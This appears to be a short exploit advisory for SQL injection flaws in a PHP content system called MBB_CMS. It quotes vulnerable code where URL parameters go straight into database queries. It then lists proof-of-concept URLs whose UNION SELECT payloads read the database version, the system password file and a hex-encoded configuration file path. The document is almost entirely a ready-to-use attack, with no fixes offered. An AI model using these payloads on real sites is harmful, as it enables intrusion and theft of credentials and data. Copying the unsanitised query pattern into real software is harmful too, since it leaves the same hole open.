# SQLi [ MBB_CMS/modul/article/article.php ]
# ........
# 18 $id=$_GET['id'];
# 19 $query=mysql_query("select artikel_artikel.id,artikel_artikel.catid,artikel_cat.kategori
# from artikel_artikel join artikel_cat on artikel_artikel.catid=artikel_cat.id
# where artikel_artikel.id='$id'");
# ........
#
# .....
# 173 function category(){
# 174 $catid=$_GET['catid'];
# 175 @list($kategori)=mysql_fetch_array(mysql_query("select kategori from artikel_cat where id='$catid'"));
# .....
#################################
Proof of Concept
http://127.0.0.1/[MBB_CMS]/?mod=article&act=detail&id=[SQLi]
http://127.0.0.1/[MBB_CMS]/?mod=article&act=category&catid=[SQLi]
http://127.0.0.1/[MBB_CMS]/?mod=article&act=detail&id=adhan' union select 1,2,version(),4,5 and 'memang'='ganteng
http://127.0.0.1/[MBB_CMS]/?mod=article&act=category&catid=adhan' union select 1,2,load_file('/etc/passwd'),4,5 and 'memang'='ganteng
# SQLi [MBB_CMS/site/page/page.php ]
# .......
# 92 $pid=$_GET['pid'];
# 93 @list($name)=mysql_fetch_array(mysql_query("select title from pages where pub='1' and id='$pid'"));
# ......
###########################################
Proof of Concept
http://127.0.0.1/[MBB_CMS]/?ref=page&pid=[SQLi]
http://127.0.0.1/[MBB_CMS]/?ref=page&pid=adhan' union select 1,2,load_file(0x433a2f417070536572762f7777772f64656d6f2f7379732f636f6e6669672e706870),4,5 and 'memang'='ganteng